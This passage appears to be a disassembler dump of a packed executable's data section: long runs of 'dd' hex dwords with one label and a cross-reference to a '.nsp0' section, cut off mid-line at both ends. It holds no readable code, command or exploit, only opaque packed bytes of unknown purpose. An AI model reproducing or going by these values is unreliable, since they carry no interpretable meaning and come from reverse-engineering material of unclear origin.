7104DAF6h, 2EBFC587h dd 1CB49EF2h, 84A46861h, 212380EDh, 3A0BE2CBh, 33EFFCE2h dd 0E7D7F676h, 0EAD0080Ah, 88BF2D59h, 1C7BABB7h, 0A84E4537h dd 0D4CBD1E4h, 6E63FE00h, 14C0579Eh, 0E052DBBDh, 378D1D49h dd 8F8AA404h, 91C33CCBh, 0E4B0C302h, 0C5DE1961h, 363E2235h dd 0E59402ECh, 6AFB34D3h, 272935CCh, 0E7524AE0h, 5216A34Ch dd 22C2E690h, 0E37DCF6Eh, 752E072Eh, 11718942h, 7C7168DAh dd 6617B47Dh, 67252B81h, 3F712410h, 0C4B72A5Dh, 0D9D1ECBh dd 0FD33E5D5h, 0D4DA0A39h, 90F9E0AFh, 1C2A7D17h, 0AF5C3582h dd 0A5D586F2h, 68715604h, 411CE0C8h, 125F1FD6h, 772B1BB7h dd 7A991C31h, 68776EB6h, 3D1AA433h, 0EC61C156h, 66EE7DEDh dd 98597EABh, 0BBC1B1B3h, 9883ECEh, 0BEA96C86h, 2C08C234h dd 0C83A4731h, 38509857h, 46D4895Dh, 2CBB469Fh, 3CE7FC23h dd 4EAF68A4h, 9D051AAh, 0EF2F2DDDh, 0D5B804B9h, 0A635FA5Dh dd 0BCEA0206h, 3B0347AFh, 0C9C05F3h, 347226C1h, 0BABE53Ch dd 903643FCh, 2CC27F25h, 0A2419458h, 0AFDD05E7h, 0D5E1F990h dd 93998D0Ch, 9A34D6D1h, 0E734AEB2h, 8B5890E3h dword_49005C dd 596331AAh, 0A5B828F9h, 8B0F0429h, 0CADE5F14h, 0B349AB11h ; DATA XREF: .nsp0:off_4255FCo dd 0B8F81F0Fh, 0FD35AB27h, 0C82F9C7Eh, 0A9727538h, 1F3EEBE7h dd 0E926E44Dh, 7BF65DF7h, 4672E5Fh, 0EB6F528Bh, 1315340Ah dd 7A5B34DFh, 4B1B34E1h, 0ED12C54Dh, 7EC06AEDh, 3035D6A5h dd 6FC0C226h, 61C4C21Eh, 0E02D9B60h, 0ED56813Eh, 99C572A3h dd 7B2805C4h, 0A8101048h, 0C8A1C84Fh, 59BC9F11h, 0AF9A637Ch dd 99D724A0h, 528ED733h, 68660E65h, 0B7288335h, 1930CE06h dd 0A383D0A6h, 220DD058h, 65ADBB83h, 0F0B4E163h, 0D90BF088h dd 6921BAF2h, 14F04C58h, 31848B19h, 0EE02A830h, 0F79667B5h dd 2423D822h, 626A230Bh, 0FF796D3Bh, 0EA2528E5h, 582D88F5h dd 0F3C0D414h, 0F4D6B5Bh, 4F92E0E8h, 743EE97h, 5CEF3229h dd 1AA05F2Ah, 8768C9A7h, 4CCA823Fh, 5132FD8Eh, 606BFACFh dd 96071653h, 0D478FC62h, 0F15871FAh, 30C2A8A4h, 0B55141CEh dd 27858D3Ch, 9956CD52h, 208FD8E4h, 2936BA2Ah, 59296E89h dd 0C5937081h, 59CD9B31h, 0DE6E273Ch, 0AD86409Ch, 0CC480373h dd 13AB5672h, 457695C8h, 8D23D0B0h, 0D9AD9448h, 0B5235BC6h dd 0F2BC9468h, 0AF6C7A4Ah, 3D91C13Bh, 94DE44B9h, 0FE88886Fh dd 0A2F1DACEh, 4194A967h, 0CD2A7EF4h, 0B928431h, 0EAD92A48h dd 0AB574592h, 9F96680Fh, 52E9ADA7h, 38A34E8h, 0DC11FD64h dd 56B61607h, 833F4186h, 55A64F28h, 0D9800CCBh, 736808F4h dd 71ACED4Ch, 0FCEF7F93h, 0AB32DACAh, 0D0B8FEA8h, 6F0E4B15h dd 0AB1824D7h, 0EC8E219Ah, 337596D8h, 14D752E3h, 0B67364ABh dd 7D4140E8h, 0B2482A84h, 0C80FC164h, 49947F7Bh, 0B71E2E75h dd 27FC3522h, 6B869C90h, 3B29290Dh, 5693FE82h, 9D944117h dd 36018341h, 9DE9F363h, 0DAD6EDBAh, 0C60ECEE0h, 0F4AC4EEFh dd 55163FBDh, 0A312C449h, 0C6D0007Fh, 5196CCCAh, 23590779h dd 2D60E874h, 8250E877h, 0CA8CF45Bh, 8E683296h, 8EE5AD28h dd 0D938F463h, 8F8A5BECh, 882DDAF5h, 0CF813E30h, 0CBB62F65h dd 829AA347h, 53D9D245h, 29233921h, 0E1F26A77h, 7F762AC8h dd 2161FD6Bh, 0ECA12E67h, 2AE47DDh, 0A067870Eh, 508D0F25h dd 0A18BE596h, 9D21ADCDh, 1255F9E0h, 0FE4529FFh, 889BF47Fh dd 0EEF9A95Ch, 4BFF5442h, 73F1F142h, 241B3DEh, 8255260Ah dd 0DFCFFF19h, 1B3EFE6Eh, 8E62D9E9h, 9AADFEAFh, 1DCBD37Dh dd 0D05476C0h, 0C3171781h, 94FA1B81h, 7788C32Ah, 0FBE12B36h dd 0D4551F9h, 830E783Ch, 619F73E7h, 71C4ECDAh, 5F131A48h dd 24A878D1h, 85A3AD77h, 2BFEFF37h, 0F704D100h, 0AE15C58h dd 0DC4390F8h, 0ADF86F7Eh, 7D17D120h, 0AEDE4872h, 7390CC01h dd 1F3BBEDCh, 119E5305h, 47E70CF5h, 0FC3033ABh, 89B2DF35h dd 840F8525h, 8262DBB0h, 0B2369E0h, 47DFDC2Dh, 81E814B9h dd 8124B671h, 4F3C4DA3h, 0DEF1B193h, 173F0232h, 7F65B087h dd 680AE235h, 0BC7B5C88h, 80B96880h, 5D85E075h, 25CA6EE2h dd 38FA03BBh, 0A4CFF444h, 0D49EC6A2h, 9E5495BBh, 9080EED9h dd 0F2398C6Ch, 8F239A27h, 78805925h, 0C419877Bh, 3AF28133h dd 0E59899E2h, 5D203066h, 81CB7FCDh, 6E6DF877h, 0E3E9ED51h dd 0F93B934h, 78ADEADAh, 0DC0D9081h, 2B4D62A6h, 6276C86h dd 0FFFB4124h, 0E0B3238Bh, 5B40C4D6h, 0D7F42F10h, 0E1319034h dd 0B959CF9h, 0DD3CEEBCh, 0DF58F292h, 15F1A00h, 8895732Ah dd 175EE1D3h, 2DAD9941h, 0ACCB9622h, 0EF345D21h, 796491E6h dd 0AE55FC31h, 0E720612Ch, 0ED257555h, 98C443BEh, 0C6343C0Dh dd 0DD9BD422h, 7508A340h, 0D1F70C32h, 79BA5BC3h, 14F0E96Ch dd 945A15h, 7E19DFD5h, 82349EE2h, 0A505AEACh, 0DAFD76F6h dd 4785ECEEh, 0E6556423h, 0F60CB25Dh, 0BE441998h, 0FB0E1272h dd 22C443ABh, 0D46FB585h, 0D04FE39Eh, 534146BCh, 2DEA93C7h dd 408B90A2h, 8AAA8578h, 0E0FF105Eh, 324BA92Ch, 0EBF164C6h dd 0FEA2D5D5h, 0A26BF062h, 706BCEBCh, 86DA1058h, 0B1F5D64Bh dd 6D33F64Ah, 0A01141B6h, 645B064Fh, 18F81677h, 4CB34689h dd 0F64E6B04h, 1CBD265Ah, 285D5A11h, 9F9182Ch, 0F66A45D2h dd 1C881038h, 3EC2F345h, 9B4FDC2Eh, 7658745Ah, 0E2B0C8E7h dd 0F0B57997h, 1F548E42h, 0D389E8ABh, 0FD160D29h, 0E6A0AE51h dd 0AC38E2C4h, 0F45AED8Ch, 0C9099D66h, 0B9D7BD7Ch, 0CA2FED1Fh dd 0C1E0D300h, 0BB6BB557h, 0C85A7646h, 6CD93833h, 7B727D2Ah dd 0EA1B8DFDh, 96F96E91h, 0B150FA8Fh, 9C56FEBh, 99A4AEFh dd 1291096Fh, 6ABBFB3h, 287B2C3Ch, 0B3E6695Eh, 2117EADFh dd 3337CE4Eh, 2509E227h, 4873EAC8h, 0CD26768Ah, 0F815374Eh dd 85AA33A9h, 27CB8BBh, 90146236h, 4AF1622h, 0E1141EA5h dd 52F3EA60h, 38CB7814h, 75EF3443h, 0E342F10Bh, 3C8D0E68h dd 41C1E777h, 69BDC504h, 0AA479CA7h, 0D55C3933h, 61423CC8h dd 0D10362C4h, 3C1D27CEh, 0C4128F96h, 0D3D3BC5Bh, 49755B29h dd 0BF4F1447h, 4B03C0DDh, 166E9097h, 954D1A44h, 0EFB7682Eh dd 683564F2h, 2226B864h, 93B55C4Ah, 826835B7h, 927A8889h dd 0B5BA349Ah, 0D944C44Ah, 0A2712B0Ah, 6429C2F9h, 8DC4F561h dd 7ED59735h, 77FE8B88h, 41E1A8C9h, 5FFE7692h, 29C2CC98h dd 0C6ABA60Eh, 32C05D8Bh, 1DB3CC15h, 0A00B992Ah, 0C59F9013h dd 155647D9h, 0E6B2C4ADh, 22174811h, 0EEB61377h, 0F417E055h dd 0F4DEE774h, 7C86FA4Dh, 39D47C41h, 16208D38h, 2A6D63FAh dd 0EB0960Eh, 5F233ED0h, 6403FF9Bh, 0D3CDC4E2h, 83EB2C81h dd 0EB4CFEE3h, 0D715710Bh, 42808156h, 15AFBE75h, 0D5B8592Ah dd 55B6B5Eh, 60ECF5A7h, 0EA683D62h, 0C284FB1Dh, 6023ECA1h dd 0E9D855D4h, 0B736AF63h, 85090CBCh, 0E8DC45CBh, 60E3DF94h dd 706EB43Dh, 0B3D63FB1h, 6A003CF0h, 0F1A57FB0h, 0BAB00B20h dd 0F3A1EB1Dh, 6EBAF84Dh, 0E83DFA55h, 0A2F51944h, 9CCB146Eh dd 0ED28FFB9h, 19B94BDDh, 29327007h, 7DA1C9DCh, 631C3116h dd 6B408C19h, 473F144Ch, 1DABFFEEh, 23628D0Dh, 8B7D1B28h dd 5B8653FAh, 86CD0676h, 0B5407944h, 0C9D304C4h, 13B94B41h dd 0CFAFB92Bh, 0BE40D019h, 0FB483EC5h, 3A34C89Fh, 8A28Eh dd 261BADF1h, 73F9F34Eh, 3E725C6Bh, 0BB077FC0h, 0A74F5B0Ch dd 9F8836E0h, 0D1DA3417h, 0C12F39B4h, 4B85C57Fh, 0A1EE7B3Dh dd 0C7A22BE2h, 7AFC3592h, 0F0FD18DFh, 0FD767064h, 0DD8DEE57h dd 325FFD0Ah, 4D3E2FE6h, 0A82E40CEh, 0D8217FE4h, 1CF807F5h dd 0F31C6E44h, 4211D016h, 4D3C9832h, 791D5B25h, 7F20DCC1h dd 4AECED28h, 39632154h, 9A842BA3h, 1CC1318Eh, 0E87F86AFh dd 64B22A59h, 699B904h, 0ADEC2946h, 3C1734Ch, 17EBE82Ah dd 7D28D8E2h, 0C75917F3h, 4214344Eh, 0A27AAC4Fh, 5F6EF489h dd 67D92645h, 2BCC2389h, 0AC12D226h, 0FC09E54Bh, 589F5C19h dd 0D0A49871h, 17F50BB6h, 291B781Bh, 7F4B451Fh, 3F06EE1Dh dd 0FC66C2F3h, 0FE4B5D89h, 77122329h, 0CE1A14A7h, 0A327F21Dh dd 0E2EE5615h, 0DB51F3ECh, 34733E1Ah, 0B9B76777h, 59483A18h dd 4FA68496h, 0E48A4E95h, 6F3637F8h, 0C4AE9A14h, 0F00D7B4Eh dd 0C383D82Dh, 644DFB72h, 0D5C24E15h, 0F7E28A61h, 434A557Dh dd 6785B3Ch, 0A6DD8ED0h, 0D521431Bh, 0EED47524h, 879169C3h dd 0F8895FA9h, 0E20DC8BBh, 0A7B9414Eh, 8784AD32h, 770061C1h dd 9852AE29h, 1556FDBBh, 0C1D45656h, 1B5C927Ch, 0BB20200Ch dd 980BB7C4h, 6D353C5Ch dd 58DF8C91h, 3B82B579h, 5C0C1E7Eh, 538915FEh, 45E5566Fh dd 0AB38C44h, 60D40567h, 40EDE606h, 0BF8D8F77h, 0C7ED5859h dd 0CBAFE286h, 0AE8F7298h, 0B81DC8C3h, 66766B14h, 62778539h dd 278B083h, 0B206100Fh, 0D3B34D3Eh, 0B597BBF2h, 0B8DAE00Bh dd 84A836DBh, 31362185h, 45008A13h, 601FB529h, 4DE6FC29h dd 73903D5h, 49BD7D32h, 6554B06Fh, 7FCDA0Dh, 6E9DB437h dd 0C5265928h, 0C117B377h, 6574B547h, 0C2701454h, 8B046EDDh dd 458A29B5h, 7BF82D1Eh, 36F5FE9Ah, 0D54A11D7h, 5461DDC1h dd 295C7777h, 0E56B823h, 0DA67551Dh, 6A0A78h, 0FA571FC1h dd 0B89FA8Ch, 979A4114h, 76AB8B51h, 46FE17B6h, 12E1C242h dd 1FC0235Ch, 0D6E55E0Ah, 5EB0ED82h, 1CDD713Ch, 0DB8BA22Ah dd 0CC044FA9h, 3DA0C556h, 0FCF83856h, 733F9604h, 0FD07AF9Eh dd 1D98EF8Dh, 6FBE2F6Ch, 0C204BF91h, 0B32E4887h, 0C33F69A6h dd 70662ABBh, 0C4E4D25Dh, 3F78D68Fh, 0FC6D3CB9h, 7024C5CEh dd 772A9668h, 5F148B0Bh, 43EC71B1h, 0DDB8FD9Ah, 4F50B231h dd 3C9BC9A7h, 509B1F7Eh, 0EE2C15Eh, 0A0CBBE7Eh, 94982E24h dd 49BD9308h, 552AE483h, 6CF880B1h, 0F36D36Ah, 0BBC0EBD3h dd 7D8266Bh, 56788C28h, 0B88EACA4h, 17C42D07h, 4800F747h dd 8274F752h, 0E4E08FABh, 36B19929h, 7582B84Eh, 0B54A0576h dd 0AF004C1h, 6AC798EFh, 0AE36506Dh, 0F1011DE3h, 0DE8AF1Eh dd 98809FACh, 0D08FD9A1h, 0FFBDE27Bh, 2C173710h, 37A63D6Ah dd 0C30FB55Dh, 0F43F2861h, 0AF5CCAB4h, 0CA3BCE2Eh, 0D79568A7h dd 5EBC8549h, 2176B7BEh, 0B63C62CCh, 0CAD9F922h, 6D5AA79Dh dd 1C3C6F2h, 78219B64h, 0CD0D95C7h, 0BF637E0h, 0B3FB2071h dd 0DD6B2375h, 18E2421Bh, 3E3E7A34h, 0F15A54DDh, 0D6C9A7ECh dd 6BD65BFEh, 0CBCFA5EAh, 46963769h, 0FA7B301Eh, 0D45866Fh dd 0B4964E3h, 0F7322349h, 8438ADB9h, 1AD4BBB3h, 76C7F8C7h dd 1D135AABh, 0C4238AE9h, 0F5983243h, 22A66343h, 820333F3h dd 3FAAF5A3h, 0F712A757h, 0AE4E4779h, 5EF31D32h, 65E6E48h dd 7293A3C7h, 0C22FEC05h, 0ED60F9F0h, 1CE219FEh, 4C5BE007h dd 19F4E545h, 540A8E7Dh, 6E4ABD09h, 480110A8h, 7D5EF176h dd 3CE12545h, 3203C1A6h, 0EB8C9560h, 11DE9A43h, 0B2D0A43Ah dd 0DD8B7EDBh, 0AC4C16FCh, 8FA12EC2h, 797F5699h, 347E9370h dd 0EF63D407h, 0BDDC6BDh, 384E8C69h, 57DE8C7Bh, 0B6F09E98h dd 0E3A3181Ah, 897967C3h, 8E346CBAh, 0BB5A9ADAh, 6D0844CEh dd 88B680ABh, 59A1A498h, 80B95A58h, 26866B87h, 65FE560Eh dd 2E1243C3h, 9B41E64Ch, 72D3378Dh, 89B19F4Eh, 0DDB099EAh dd 0DE046D0Dh, 19E504Bh, 0CA180E99h, 0B13E12h, 0EFB22B0h dd 5DF631AAh, 0A8CAFA2Ah, 0B0A6F72Fh, 21DDA51Ah, 3E749041h dd 0C13A5E24h, 77C2EC0Fh, 7D527320h, 6244DED8h, 29A0020Dh dd 3815354Ch, 7732CAD8h, 1B5C7A0Eh, 927BC2D5h, 5733A865h dd 0DD109C78h, 2B8081E5h, 0BA0A1165h, 3C7B73B7h, 8E3F1E06h dd 4C0953EDh, 5BF77B8Bh, 51632D0Ch, 1FE5AAD8h, 17F0A695h dd 0A170BA92h, 22DA6891h, 5F087920h, 271DEB9Eh, 0FC6113DEh dd 0D5A05BE2h, 7EB01711h, 5B423D93h, 0A8B9534Ah, 0FF463531h dd 0AD6C21BAh, 0FA164D1Fh, 1A60195Ch, 0DC0D00BAh, 1971FEFDh dd 0ADA5BC6Eh, 0F6CD98C8h, 7F2DF35Bh, 7F738B34h, 0DE582662h dd 0B54A3432h, 549A1667h, 0A8A126B2h, 728E0F02h, 0E69FFFEBh dd 432AB152h, 8016ECD4h, 0CE4E623Bh, 62BA3F1Ch, 0A5788832h dd 990F3139h, 0EE7DF425h, 3F0D20F1h, 11B52B84h, 0A097D4EFh dd 8881669h, 0C6F820EFh, 7CACF3B1h, 7C6D9C4Dh, 781A98BEh dd 0C5262FEAh, 0A9CEFCFFh, 2EAA20Ch, 0AE7F271Ah, 0FFDD3332h dd 276F4501h, 3C6F0D9Dh, 876D7419h, 9F1FDE47h, 0FA168452h dd 37A8D8Bh, 4BCCEA4Ch, 0E8C346E7h, 5D01853Fh, 121DAC01h dd 786F32E7h, 0F2BF5B4Dh, 0A4B91B19h, 0B6D6F9FAh, 0B804684Fh dd 85294246h, 3216A133h, 0BAA6145Eh, 0A68B0626h, 0E4036C0Ch dd 434D9FE3h, 3E34C646h, 0D72B353Fh, 286D6C23h, 0C018A7ADh dd 7252EE00h, 0E2AA38C0h, 0A860CFD2h, 5865D91Ah, 33A3ACB2h dd 97498C6Dh, 54DD5071h, 5C2E255h, 0FF01F5DAh, 9EB19002h dd 22BA4E89h, 9AC97A9Bh, 0D2D8E24Bh, 0DE81B35h, 6C3BBF6Eh dd 8B7FA514h, 0D4169782h, 46EA5F43h, 0D6ABD20Ah, 2FE65316h dd 4A77AE60h, 274D904h, 66019C20h, 8F5D6FDBh, 91E5C2AEh dd 6B8DDA9Fh, 802E811h, 0A9BE1965h, 0DE3CDE2Bh, 39EF950Eh dd 0DFA2A190h, 0AED44C18h, 699ECE6Ah, 8A76C1E4h, 2EEA1F3Eh dd 67690E89h, 108C28DEh, 37C72D95h, 3D01B535h, 0FABDB607h dd 9964B0FFh, 0C525F7CDh, 356EEE15h, 0CD57608h, 567EA005h dd 4653280Ch, 7F92363Eh, 0DA98F0A0h, 7ED1CBBFh, 0EE092D4Fh dd 5A578504h, 430C0967h, 0D2E74AE5h, 40D75E2Ah, 83FBF047h dd 4C3466FBh, 8A2FC946h, 0D56CF954h, 0E8513079h, 45AAFB12h dd 3F0D4CBEh, 0EC4F8B6Fh, 292795E6h, 6194D99Bh, 6120797Ah dd 9E76B5BBh, 0A19AE3Ah, 4FFBF8AEh, 0CEC0D1DFh, 75F4B84Fh dd 2D13B7C7h, 5FC10EAEh, 94648A5Fh, 563DAFF4h, 0B53FEF56h dd 8E3BF675h, 0F354DC98h, 0E595340Bh, 0A45EF7Ah, 0B7C69425h dd 6970738Ah, 7050FBD6h, 82993B04h, 87AC0EBDh, 932379ECh dd 9D3216A3h, 0A6798EFEh, 45463D94h, 212C6373h, 0F312D676h dd 3558556Fh, 0C3D5534Dh, 0F99F0233h, 52962329h, 609D14FCh dd 0F0017774h, 9DD1CC44h, 0CB44580Eh, 0C2CBD042h, 0F1CC67DEh dd 0F58F360Eh, 2240618Fh, 26E99CA6h, 8D8327A7h, 45E5A059h dd 0CF7F7D6Ah, 0E9F0C61h, 0DB77601Ch, 11C57C19h, 0DE754C80h dd 0CA7EDF3Dh, 0E6DAC097h, 0A36C4C74h, 82896A3Fh, 5C7376B0h dd 0E5368BAh, 2F161D1Eh, 0FF73878Ah, 0D5C1EC87h, 908F6173h dd 0EF8513F7h, 0A45F3B76h, 44567C38h, 5214FDBh, 31BC4252h dd 6C5B3BDDh, 6F7D36F4h, 862220C1h, 0BA65F1A7h, 0BD1CBEE8h dd 0E1A1C25h, 23A9F4D1h, 3B495385h, 0F6139312h, 0D536B811h dd 9F7A31A9h, 0F993465Fh, 0E3BC8BF2h, 0D3FAC880h, 26E023D5h dd 2BDB73A4h, 72E5190Bh, 1E890C41h, 0BFF526E2h, 81B6B2FFh dd 6931301Bh, 2EFE79D6h, 2EBB8B94h, 0AD1D377Dh, 88B5323Ch dd 0A32062A5h, 53771E9Ch, 0E6CCDEBFh, 5C82EC4Ah, 94E68986h dd 0E874CE8Eh, 0EA4B2AFDh, 0C2C494B7h, 5C246937h, 0D31FCB02h dd 0F7B21049h, 6581BE36h, 0D90EAD9Ch, 0D6CD7FA6h, 0C1E78573h dd 6278C31h, 0CB6DC165h, 1116A5FDh, 149FE3CDh, 4714BAE6h dd 1682EC44h, 4CF23A2Fh, 0FC17E90h, 6CE91C4Ch, 0BBAAD20Fh dd 0F3B8372Fh, 0E05D812h, 0E4293CEDh, 30E9EACFh, 0A8BC28A2h dd 1B62BFB5h, 4E3B224Ah, 0A39A1CC3h, 109C78F9h, 312A0B77h dd 661D82BBh, 75285A32h, 6DAD958Bh, 6063C835h, 75ABE665h dd 26825ACDh, 4492D8CBh, 18D5D0A2h, 0D31A12E9h, 1ABDD9CEh dd 0DFF90DB6h, 80F85617h, 0D6989792h, 39F92080h, 0FE3D20BEh dd 2433B7DAh, 8BE95C89h, 3ACDBE56h, 3B00FB51h, 51FBF7CFh dd 15273E60h, 0D3052E8Ah, 0FEDD51C1h, 5939EC65h, 896AABAh dd 0FE390C36h, 331D5903h, 46082B11h, 1BED536Fh, 0DAE8EEE5h dd 55784555h, 45B425D2h, 0B114199Fh, 4198B494h, 0A6D6ACA5h dd 2BDAB1E8h, 75506635h, 0B379CE7Ch, 2E18CDE3h, 18CE1A30h dd 7F997EA1h, 0F8C06B43h dd 22F04C7Ah, 0A0AB492Ah, 96A1C0C4h, 316B560Bh, 59E8A432h dd 72E0AF6Ah, 5A040AE3h, 468D5855h, 86A18B04h, 196C1595h dd 850FE939h, 717B51BCh, 0D02BCE7Bh, 1C0CDF60h, 0A877DAA0h dd 0D836240Eh, 2D6F0CC6h, 98D42735h, 0E5DE3C14h, 74EAFB6Bh dd 9D78621Ah, 7FD73C90h, 70D543ADh, 67AADE1h, 0EC0B0F1Dh dd 0A581A251h, 0BD0C63Dh, 0C8C05D6Dh, 8EADD7EFh, 7D79DF03h dd 8BB739E9h, 9670C88Eh, 8C5559D6h, 3373536Eh, 6EBF271Eh dd 81B17163h, 96A8057Dh, 7CB78E8h, 2A6AD7BBh, 0C71EADF8h dd 0A5B60375h, 0FD328E4Dh, 0E691EEh, 637FC5DBh, 35AA5450h dd 809F3142h, 7F1D2AECh, 794A258h, 5B454CAAh, 0AFD92625h dd 7FAF470Fh, 0A20E6A9Bh, 0E0048617h, 1D2DF211h, 0A69EEB77h dd 0D7AD6B25h, 7F7D1A30h, 486BC7DDh, 10C9B3A0h, 0DA42A2BEh dd 8287368Eh, 802DE55Dh, 7B260649h, 9CAB5640h, 75CE46ADh dd 2FC9835Eh, 137F9B4Dh, 0A1AB5912h, 0BA2EFF3Ah, 3EB3D4F2h dd 7A7540A5h, 3C53ED0Bh, 0B40F6245h, 95E8A44h, 325FC99Ch dd 39810992h, 3CDA693Eh, 96B711B6h, 0A066FD5Eh, 0D2ED117Ah dd 4342E173h, 0E07E40D7h, 0F42C1AC0h, 0A3C92FB8h, 0E59DF4ACh dd 16471910h, 0A46861F0h, 0C6747050h, 5A7E89FAh, 0BC50CC0Bh dd 0D97856AFh, 59ADB51Dh, 0F560E3B8h, 0BB8F3BE2h, 4772C89h dd 2B1E32D2h, 0C13C83F4h, 0D7C81D73h, 0E7B08C9Fh, 462D39BAh dd 0C9751EE4h, 39A98778h, 0C18BFC8Eh, 3E2EC142h, 1A59BC1Ch dd 0C9E50BEAh, 33BCC3FAh, 0D28FB80Bh, 0B4AECBCCh, 13795424h dd 0CCDD6D2Eh, 0F17C5C96h, 0C7BFB3E0h, 23D47562h, 0CB42853Dh dd 0B6A7DBD8h, 4E5498F5h, 260F7D21h, 1B9D433Fh, 0BCDDC0C1h dd 0E87E50Fh, 648BA354h, 76F6413Ah, 0B3B71FA1h, 0A93E9AF0h dd 0C84104D8h, 0FE0819EAh, 1567C78Ch, 0F02CDF6Dh, 3B8D41A3h dd 0D0EAF2A2h, 0B439F260h, 7CE18B0Ch, 2AD6E009h, 532E9AE5h dd 0F8AA98Bh, 9429580h, 80B65AF1h, 0DAB095B1h, 4CA956CCh dd 0DB14F52h, 0C72777B6h, 0FB183522h, 0CABAE192h, 220FECE3h dd 3B1DADCEh, 4FF1B7AEh, 0CF40184Dh, 63C82894h, 3569D69Fh dd 17141B55h, 0F3546EF0h, 9877AC96h, 5EB3002Dh, 0DB2C8DBCh dd 6F412B5Ah, 95D51258h, 71F0187Dh, 468C447Fh, 612CE199h dd 0B634D87Ah, 1C8EA88Fh, 0A1AF13Ah, 89241805h, 7C829C74h dd 3D86850Eh, 0ADCF7DDDh, 0A3362B07h, 83F6029Fh, 0F11E5A50h dd 596075F3h, 502D279Fh, 4BA6D47Ah, 0C2AEB566h, 0B002AEEDh dd 31E75EBh, 5E92DDC2h, 0F82181D5h, 0C49E2F1Fh, 6F3066D2h dd 986D2865h, 0DA1BE34Dh, 0A08643DBh, 0EF10B34Bh, 71B84F30h dd 0CA7E9688h, 45C369BDh, 5796DACAh, 0F7E3A70Ah, 2AC7BD29h dd 0D60C9FFDh, 17DDF244h, 166B043Ah, 0CF66BBFEh, 0FAC7F105h dd 49510F31h, 1DC671AFh, 47DC2833h, 29817268h, 3F039D70h dd 77C20087h, 6A14266Bh, 19BF35C0h, 52D5B64Ch, 0F71B487Eh dd 10122681h, 0C19826E5h, 0C3C5D1CBh, 0B7A1F7C0h, 0D8915FE5h dd 0C56E9B72h, 0C7EC7025h, 60875C6Ah, 0E924B237h, 0ECEE4AECh dd 53758010h, 0A113A208h, 827D952Ah, 0EA3C48A6h, 8D1A70DEh dd 0EE378D7Ch, 0A9066B11h, 0F8891E09h, 392270B5h, 0FC1D8A9Ah dd 55E2917Eh, 0C7689605h, 9CA73F0Ch, 0CA418B4Fh, 4199FFDCh dd 4E7C11D3h, 0E41A2D6Eh, 0E96CC52Eh, 411BEF63h, 3AB6F3Eh dd 9FA0322Fh, 3F5895C0h, 3984379h, 0B0741F6Bh, 0FBA863DDh dd 0D6C7F887h, 5825F612h, 0D832E8Dh, 0BAEED4A6h, 3C422DDAh dd 0D4B99BDFh, 0A4F54BB1h, 55CA9DB2h, 2AB4A5ADh, 839E5439h dd 7708EE13h, 3F637247h, 2DFE9BC6h, 4B76731h, 0CCA1ACCh dd 0E637B047h, 92024259h, 0A1932F0Eh, 0D15AC9B0h, 82F2AA01h dd 8102EEDCh, 779A0D07h, 6C5A8ABFh, 5598080Ch, 0A9B60F8Eh dd 8B56223Fh, 32A15AB0h, 0ACDB839Eh, 838EC6E4h, 877CCF05h dd 2E02EF71h, 0CD1A0A32h, 6D67CE03h, 0D025E284h, 0AA93A386h dd 66ACC647h, 78F6E9F4h, 0BBA41D6Bh, 5EAE3E60h, 6F247748h dd 775CAF38h, 68DFAE92h, 7A594206h, 67203A23h, 0A41CDE7Fh dd 949AEEA2h, 3486D21Ch, 3C1136E5h, 34B632Dh, 0CB6D5EDCh dd 77C985FFh, 0EE9A773Dh, 8E93F7F3h, 0B429E66Fh, 0C0D2D3Bh dd 65E82992h, 0E10C6B2Dh, 45AEE3E4h, 8FD4E401h, 0ABEDABFh dd 0D028AB4Dh, 0F1AE0F12h, 0A1D53Ah, 0E0EA8140h, 0AC3910BDh dd 0F10885B0h, 61F76EE8h, 8EE6C141h, 7DA7C064h, 55B727B7h dd 0FD01D160h, 0F05B0DF3h, 0A17A7816h, 0BCED48C7h, 9D88B441h dd 955E174Fh, 60E22C3h, 13CAC3E4h, 4166C070h, 0B1F78C08h dd 261142C6h, 9BBFF7F2h, 15857F1h, 7FE1E138h, 0E32A22A4h dd 35046C07h, 0EECDBCEh, 9F243B84h, 217AE943h, 1F09AD37h dd 964EAFE3h, 0CA0638E2h, 755CABFDh, 2A1700CAh, 0F1EDE47Bh dd 0CC573987h, 76DA452Eh, 0D9F5BF6Dh, 10B4E24Ah, 0A7639A47h dd 4576087Dh, 0E5C086B4h, 71F48069h, 999D40AFh, 4EC5828Fh dd 896D3A29h, 0C17CCAC1h, 273034F1h, 0BDFAFCA5h, 0BE86C321h dd 1CA3EF87h, 0BAF11A93h, 38CB8FBBh, 0E27B8686h, 5C30F0FCh dd 19D9B61Ah, 0ED38F64Fh, 40A0D4B9h, 0F4705BB0h, 0F5728681h dd 3DAB3CB6h, 64A8CF31h, 0F2E2154Bh, 43F70CE0h, 311B258Ah dd 91CBAE4h, 98078074h, 95D16903h, 9D37DB63h, 6B633B73h dd 1A2FD679h, 497B64E7h, 70A00770h, 0C97A36DBh, 7E11F7A9h dd 0B206683Ah, 0B350D3DCh, 0B3B72486h, 30461148h, 0CADBDE64h dd 0D64C108Bh, 2194054Bh, 53F8862Dh, 70AA0B65h, 6A4DAFA2h dd 600CEBC5h, 46A61625h, 0C320CC7Fh, 575F96ACh, 3A2AC66Bh dd 203333B2h, 63A602A7h, 0E81A1F6Dh, 39E5D476h, 6AD322E8h dd 4959428Bh, 12FCAEh, 48BB8520h, 0D37DAAB5h, 95400D27h dd 0DB5DD650h, 3801657Bh, 0A457C63Dh, 377FFA38h, 39C72CFEh dd 8450346Ah, 7816E8CAh, 1D2AEB12h, 0AF338B64h, 0B04C40E6h dd 0F7FC851Eh, 0D4074B5Bh, 0C42B22CAh, 0BDF20AD2h, 0FBDCE85Dh dd 0F3B8E7FBh, 0AA90423Eh, 2B8CAB5Ah, 0B653D8B1h, 1350BEAh dd 0C0664765h, 2B898364h, 6E23436Ch, 23E1B5Fh, 5BA6C192h dd 79B79510h, 9CA8C361h, 30466E3Bh, 58CCD230h, 66A5BEDFh dd 1569D4CCh, 1F0B7C83h, 7CADD70Eh, 0D0BC981Fh, 0DA7C5F44h dd 81A5D1EBh, 5723976Eh, 0D482E558h, 567EF5B7h, 0F2916F2Ah dd 6B5776F7h, 9144FA93h, 0F369328Ch, 0B43665C8h, 3C1FEC63h dd 0AF4742B9h, 76F1D895h, 8DD8B155h, 5880F10Eh, 0AD881A92h dd 275C6EC5h, 0ED349C12h, 3BD28E16h, 99592681h, 9381C8D6h dd 0BC3EEBFAh, 190E3E93h, 74E9A228h, 587D9A05h, 3E113EC5h dd 6E9FE3D5h, 0EDFE0C88h, 0B5036B55h, 0D0C27CA0h, 891EC63h dd 0E3489AC1h, 196E685Eh, 0D2E5263Eh, 0D594F9E4h, 7993B31Ch dd 